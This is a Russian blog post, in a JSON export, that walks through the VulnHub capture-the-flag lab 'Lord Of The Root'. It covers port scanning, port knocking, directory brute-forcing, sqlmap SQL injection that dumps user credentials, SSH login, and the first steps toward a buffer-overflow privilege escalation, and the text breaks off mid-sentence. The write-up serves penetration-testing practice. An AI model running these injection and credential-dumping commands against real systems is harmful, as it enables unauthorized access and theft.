{"id":283225,"date":"2016-12-29T10:45:04","date_gmt":"2016-12-29T07:45:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=283225"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=283225","title":{"rendered":"VulnHub: \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 Lord Of The Root"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/444\/c9b\/a38\/444c9ba38e9840538347246124d2d54f.png\"\/><\/p>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0432\u0435\u0441\u0442\u043e\u0432 \u0441 <a href=\"https:\/\/www.vulnhub.com\">VulnHub<\/a>, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u043f\u0430\u043b\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c ASLR: <a href=\"https:\/\/www.vulnhub.com\/entry\/lord-of-the-root-1,129\/\">Lord Of The Root<\/a>. \u041d\u043e \u043e\u0431\u043e \u0432\u0441\u0451\u043c \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443&#8230;<a name=\"habracut\"><\/a><\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0443 \u0441 \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f52\/e39\/51c\/f52e3951c7684e489c6b3123e87f76a4.png\"\/><\/p>\n<p>  \u0423\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e. \u0412 \u044d\u0442\u043e\u0439 \u043b\u0430\u0431\u0435 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438 \u0434\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u0437\u0430\u0446\u0435\u043f\u043a\u0443, \u0432 \u0432\u0438\u0434\u0435 \u043b\u043e\u0433\u0438\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f: <i>smeagol<\/i>.<\/p>\n<p>  \u041d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043f\u043e\u043a\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e, \u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043a \u0438\u0437\u0435\u0447\u0435\u043d\u0438\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u043e\u0440\u0442\u043e\u0432:  <\/p>\n<pre><code class=\"bash\">$ sudo arp-scan -l | grep &quot;CADMUS COMPUTER SYSTEMS&quot; | awk '{print $1}' | xargs sudo nmap -sV -p1-65535<\/code><\/pre>\n<p>  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-21 19:33 MSK<br \/>  Nmap scan report for 192.168.1.175<br \/>  Host is up (0.00033s latency).<br \/>  Not shown: 999 filtered ports<br \/>  PORT STATE SERVICE VERSION<br \/>  22\/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)<br \/>  | ssh-hostkey:<br \/>  | 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)<br \/>  | 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)<br \/>  |_ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)<br \/>  MAC Address: 08:00:27:40:B5:B3 (Oracle VirtualBox virtual NIC)<br \/>  Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br \/>  Device type: general purpose<br \/>  Running: Linux 3.X|4.X<br \/>  OS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4<br \/>  OS details: Linux 3.10 \u2014 3.19, Linux 3.2 \u2014 4.0<br \/>  Network Distance: 1 hop<br \/>  Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/p><\/blockquote>\n<p>  \u0412\u0441\u0435\u0433\u043e 1 \u043f\u043e\u0440\u0442? \u0421\u0435\u0440\u044c\u0451\u0437\u043d\u043e? \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0432 nmap \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e, \u0443\u0431\u0435\u0436\u0434\u0430\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e ssh. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f:  <\/p>\n<pre><code class=\"bash\">$ ssh smeagol@192.168.1.175<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/48c\/c07\/356\/48cc07356d124210adf727d886aef7e5.png\"\/><br \/>  <i>\u00ab\u041f\u043e\u0441\u0442\u0443\u0447\u0438 \u0434\u0440\u0443\u0433, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0439\u0442\u0438\u00bb<\/i> \u2014 \u043e\u0442\u0441\u044b\u043b\u043a\u0430 \u043a \u0412\u043b\u0430\u0441\u0442\u0435\u043b\u0438\u043d\u0443 \u041a\u043e\u043b\u0435\u0446. \u0411\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0439\u0434\u044f, \u0447\u0442\u043e \u0432 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0435 <i>\u0434\u0440\u0443\u0433<\/i> \u2014 \u044d\u0442\u043e <i>mellon<\/i>, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f. <br \/>  \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e\u0439, \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u043b\u043e\u0433\u0438\u043d\u043e\u0432 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043f\u043e \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0435 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432.<br \/>  \u041c\u0435\u043d\u044f \u0441\u043c\u0443\u0442\u0438\u043b\u043e \u0441\u043b\u043e\u0432\u043e <i>\u043f\u043e\u0441\u0442\u0443\u0447\u0438<\/i>, \u0443\u0436\u0435 \u0438\u043c\u0435\u044f \u0434\u0435\u043b\u043e \u0441 <i>port knocking<\/i>, \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b \u0447\u0442\u043e \u043e\u043d \u0438 \u0442\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f.<br \/>  \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0434\u043e\u0433\u0430\u0434\u043a\u0443:  <\/p>\n<pre><code class=\"bash\">$ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175<\/code><\/pre>\n<p>  \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c. \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.<br \/>  \u0410 \u0447\u0442\u043e \u0435\u0441\u043b\u0438, \u043f\u043e\u0441\u043b\u0435 \u00ab\u0441\u0442\u0443\u043a\u0430\u00bb \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043f\u043e\u0440\u0442?  <\/p>\n<pre><code class=\"bash\">$ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535<\/code><\/pre>\n<p>  \u0421\u043f\u0443\u0441\u0442\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-22 02:42 MSK<br \/>  Nmap scan report for 192.168.1.175<br \/>  Host is up (0.00020s latency).<br \/>  PORT STATE SERVICE VERSION<br \/>  22\/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)<br \/>  1337\/tcp open http Apache httpd 2.4.7 ((Ubuntu))<br \/>  MAC Address: 08:00:27:39:91:65 (Oracle VirtualBox virtual NIC)<br \/>  Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/p><\/blockquote>\n<p>  P.S. \u0422\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u043e\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0434\u043b\u044f \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u0442\u044b \u043b\u0443\u0447\u0448\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430\u043c\u0438.<\/p>\n<p>  \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430 \u00ab\u044d\u043b\u0438\u0442\u043d\u043e\u043c\u00bb \u043f\u043e\u0440\u0442\u0443 \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f Apache, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0447\u0442\u043e \u0442\u0430\u043c:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/7de\/70c\/292\/7de70c2926984b82b2f3bd81688298e8.jpg\"\/>  <\/p>\n<pre><code>&lt;html&gt; &lt;img src=&quot;\/images\/iwilldoit.jpg&quot; align=&quot;middle&quot;&gt; &lt;\/html&gt;<\/code><\/pre>\n<p>  \u041d\u0435 \u043c\u043d\u043e\u0433\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u2026 \u041f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438, \u0432 \u043d\u0435\u0439 \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e.<br \/>  \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438?  <\/p>\n<pre><code class=\"bash\">sudo dirsearch -u http:\/\/192.168.1.175:1337\/ -e php,html,js,json,jpg,txt,bak -w \/usr\/share\/dirb\/wordlists\/big.txt<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ce8\/b38\/4cd\/ce8b384cd9e144279bdbbc9ab7af2aed.png\"\/><\/p>\n<p>  \u041d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 <i>404.html<\/i>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0435\u0449\u0451 \u043e\u0434\u043d\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c96\/241\/cf7\/c96241cf7fa54d9eaff5f12ebbf714cb.jpg\"\/><br \/>  \u0438 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u0434:  <\/p>\n<pre><code>&lt;html&gt; &lt;img src=&quot;\/images\/hipster.jpg&quot; align=&quot;middle&quot;&gt; &lt;!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh&gt; &lt;\/html&gt;<\/code><\/pre>\n<p>  \u0410 \u0432\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0447\u0442\u043e-\u0442\u043e! \u0414\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c:  <\/p>\n<pre><code class=\"bash\">$ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d \/978345210\/index.php<\/code><\/pre>\n<p>  \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u0441\u0442\u0430\u0440\u043d\u0438\u0446\u0443, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u0442\u0443\u0434\u0430:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b2e\/2e4\/176\/b2e2e41765814ec3bb411faa06f913a9.png\"\/><\/p>\n<p>  \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f\u2026 \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439:  <\/p>\n<pre><code class=\"bash\">$ sudo sqlmap -u 'http:\/\/192.168.1.175:1337\/978345210\/index.php' --data='username=%22&password=%22&submit=+Login+' -vv<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/80f\/992\/d82\/80f992d82aec47418fb7a40c483cd8ed.png\"\/><br \/>  \u041d\u0430\u0441 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u043d\u0443\u043b\u043e. \u0421\u043a\u0430\u0437\u0430\u0432 sqlmap \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043a\u0430\u0442\u044c, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0447\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 <i>profile.php<\/i>. \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0439 <i>payload<\/i>.<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/e3b\/22b\/99d\/e3b22b99dc03466d987fe4210523bf6c.png\"\/>  <\/p>\n<pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;LOTR Profile&lt;\/title&gt; &lt;\/head&gt; &lt;body&gt; &lt;div id=&quot;profile&quot;&gt; &lt;b id=&quot;welcome&quot;&gt;Welcome : &lt;i&gt;&lt;\/i&gt;&lt;\/b&gt; &lt;br&gt; &lt;img src=&quot;\/images\/legolas.jpg&quot; align=&quot;middle&quot;&gt;&lt;br&gt; &lt;b id=&quot;logout&quot;&gt;&lt;a href=&quot;logout.php&quot;&gt;Log Out&lt;\/a&gt;&lt;\/b&gt; &lt;\/div&gt; &lt;\/body&gt; &lt;\/html&gt;<\/code><\/pre>\n<p>  \u041d\u0435 \u043d\u0430\u0439\u0434\u044f \u0442\u0443\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e:  <\/p>\n<pre><code class=\"bash\">$ sudo sqlmap -u 'http:\/\/10.0.31.127:1337\/978345210\/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2<\/code><\/pre>\n<p>  \u0412 \u043b\u043e\u0433 sqlmap \u043f\u043e\u043f\u0430\u043b\u0430 \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445: <i>Webapp<\/i> \u0438 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430: <i>Users<\/i>. \u041f\u043e\u0441\u043b\u0435 \u0434\u0430\u043c\u043f\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u0433\u0438\u043d\u043e\u0432 \u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/6b0\/2d2\/f80\/6b02d2f802e54a17baf22cf6301325d4.png\"\/><\/p>\n<p>  \u0422\u0443\u0442 \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <i>smeagol<\/i>, \u043f\u043e\u043b\u0430\u0433\u0430\u044f\u0441\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0432\u0435\u0431 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0442\u043e\u043b. \u041e\u0442\u043b\u0438\u0447\u043d\u043e!<br \/>  \u0412 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u0438\u0434\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u0438:  <\/p>\n<blockquote><p>smeagol@LordOfTheRoot:~$ cat .bash_history<br \/>  su \u2014 sudo \/etc\/passwod<br \/>  visudo<br \/>  smeagol@LordOfTheRoot:~$<\/p><\/blockquote>\n<p>  \u041e\u0442\u043a\u0440\u044b\u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u044d\u0442\u0430\u043f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043b\u0430\u0431\u044b:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/2e9\/622\/454\/2e9622454dc2493f9d4ef2cf5e98f008.png\"\/><br \/>  \u0422\u0443\u0442 \u0436\u0435 \u0432\u0438\u0434\u0438\u043c <a href=\"http:\/\/www.tenouk.com\/Bufferoverflowc\/Bufferoverflow6.html\">\u0441\u0441\u044b\u043b\u043a\u0443<\/a>, \u043d\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u0438 \u0431\u0435\u0433\u043b\u043e\u043c \u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u0430\u043f\u043a\u0443 <i>\/SECRET<\/i> \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/3e4\/fe3\/618\/3e4fe36180324b91896524cc7be64c77.png\"\/><\/p>\n<p>  \u041f\u043e\u0447\u0438\u0442\u0430\u0432 \u0441\u0442\u0430\u0442\u044c\u044e, \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043c\u0435\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0442\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u043d\u0438\u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430. \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043d\u044f\u0442\u044c \u043a\u0430\u043a\u043e\u0439 \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432. \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0441\u0435\u0431\u0435 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0432 IDA, \u0434\u043b\u044f \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0435\u0439 gdb \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/2a8\/423\/3f9\/2a84233f9af549d9aaefa51061c22f4f.PNG\"\/><br \/>  \/SECRET\/door1\/file<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/3b7\/709\/ed9\/3b7709ed94f54766abba7ef7f4b1f43d.PNG\"\/><br \/>  \/SECRET\/door2\/file<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/2a8\/423\/3f9\/2a84233f9af549d9aaefa51061c22f4f.PNG\"\/><br \/>  \/SECRET\/door3\/file<\/p>\n<p>  \u0418 \u0442\u0430\u043a, \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0444\u0430\u0439\u043b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430 \u00ab\u0432\u0442\u043e\u0440\u043e\u0439 \u0434\u0432\u0435\u0440\u044c\u044e\u00bb, \u0435\u0441\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0437\u043c\u0435\u0440 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043c\u0435\u043d\u044c\u0448\u0435 \u0447\u0435\u043c \u0443 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445. \u041a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u043c \u0435\u0433\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c, \u0438 \u043d\u0438\u0447\u0435\u0433\u043e. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0447\u0438\u0441\u043b\u0430, \u0438 \u0441\u043d\u043e\u0432\u0430 \u043d\u0438\u0447\u0435\u0433\u043e.<br \/>  \u041e\u0442\u043a\u0440\u044b\u0432 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0432 gdb \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435, \u0432\u0438\u0434\u0438\u043c \u0447\u0442\u043e \u043e\u043d \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f! \u041e \u043a\u0430\u043a\u2026 \u041f\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0432 \u0435\u0449\u0451 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f\u00bb \u043c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f\u043c\u0438.<br \/>  \u0414\u0430\u043b\u0435\u0435 \u0448\u043b\u0430 \u0447\u0435\u0440\u0435\u0434\u0430 \u0431\u0435\u0437\u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c, \u043d\u0430 \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044f \u043b\u0438\u0431\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u043b, \u043b\u0438\u0431\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u00abSegmentation fault\u00bb \u043b\u0438\u0431\u043e \u00abIllegal instruction\u00bb<br \/>  \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u043b\u0433\u0438\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 \u0438 \u0441\u0442\u0435\u043a\u0430, \u0434\u043e \u0438 